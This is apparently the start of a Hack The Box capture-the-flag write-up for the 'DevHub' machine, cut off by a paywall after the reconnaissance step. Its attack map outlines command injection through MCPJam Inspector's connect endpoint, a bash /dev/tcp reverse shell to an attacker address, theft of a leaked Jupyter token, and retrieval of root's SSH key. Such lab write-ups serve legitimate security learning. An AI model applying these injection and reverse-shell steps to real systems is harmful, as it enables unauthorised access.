DevHub
Executive summary — DevHub is a Medium Linux box with an MCP tooling (Model Context Protocol) theme. An unknown port turns out to be MCPJam Inspector, a debugging tool exposing
/api/mcp/connect: thecommandfield is passed straight to Node.js'sspawn()with no validation whatsoever → Command Injection asmcp-dev. In that context,ps auxleaks the Jupyter Lab authentication token (running asanalyst) directly in the process arguments; with no WebSocket libraries installed, the protocol gets implemented by hand over raw TCP sockets to talk to the kernel and run code asanalyst(user flag). Reading an internal MCP server running as root reveals an endpoint that, with the right bearer token, returns root's private SSH key.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Medium |
| Status | Retired |
| Target IP | <TARGET_IP> |
| tun0 (attacker) | <ATTACKER_IP> |
Attack map
[1] Recon -- nmap: 22 ssh, 80 http (nada relevante), 6274 servicio web desconocido
|
[2] Puerto 6274 = MCPJam Inspector -- herramienta de debug/testing para servidores MCP locales
|
[3] DevTools (F12/Network) al anadir un servidor de prueba -> POST /api/mcp/connect
{ "serverConfig": { "command": "whoami", "args": [], ... } }
"command" pasado sin sanear a spawn() de Node -> Command Injection
|
[4] Reverse shell (bash puro, nc no disponible) via command="bash", args=["-c","bash -i >&/dev/tcp/..."]
+-> shell como mcp-dev
|
[5] ps aux | grep jupyter -- Jupyter Lab corriendo como analyst, TOKEN en los argumentos del proceso
|
[6] Sin libreria websocket instalada -> handshake+framing WebSocket implementado a mano
sobre sockets TCP puros -> kernel Jupyter -> execute_request como analyst -> user.txt
|
[7] Mismo canal -> leer /opt/opsmcp/server.py (corre como root) -> puerto interno +
endpoint + bearer token para un servicio que devuelve la clave SSH de root
|
[8] curl con el bearer token -> clave privada SSH de root -> ssh -i root_id_rsa root@devhub.htb
+-> root.txt
1. Reconnaissance
nmap -sC -sV -p- --min-rate 5000 -oN nmap_devhub.txt <TARGET_IP>
Three open ports: 22/tcp (SSH), 80/tcp (HTTP) and 6274/tcp (unknown web service).
echo "<TARGET_IP> devhub.htb" >> /etc/hosts
Root Access unlocks the content you can't see — everything else on the site is already open.
See Root Access plansNo account? Create one free then upgrade from your console.